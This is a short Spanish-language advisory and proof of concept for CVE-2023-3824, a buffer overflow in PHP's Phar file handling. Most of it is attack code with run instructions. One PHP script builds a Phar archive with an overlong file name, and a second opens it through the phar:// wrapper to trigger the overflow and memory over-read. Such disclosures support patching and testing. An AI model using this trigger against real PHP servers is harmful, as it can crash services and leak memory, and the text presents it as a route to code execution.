
Vulnerabilidad en archivos PHP Phar, debido a un desbordamiento de búfer, surge de comprobaciones insuficientes de longitud en los nombres de archivo dentro del archivo Phar. Actores malintencionados pueden crear archivos Phar con nombres de archivo largos, lo que provoca un desbordamiento de búfer y la posible ejecución de código malicioso o fuga de datos. Esta vulnerabilidad puede ser explotada para ejecución de código CVE-2023-3824
Esta Prueba de Concepto (PoC) demuestra cómo crear un archivo Phar malicioso en PHP y desencadenar una vulnerabilidad de desbordamiento de búfer.
create_phar.php) y agrega el siguiente código:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Ejecuta el script PHP para crear el archivo Phar malicioso: Copia el código
php create_phar.php
Crea otro archivo PHP (por ejemplo, trigger_overflow.php) y agrega el siguiente código:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Ejecuta el script PHP para desencadenar el desbordamiento de búfer: Copia el código
php trigger_overflow.php
La instrucción var_dump($x) mostrará el resultado de la operación de desbordamiento de búfer y sobrelectura.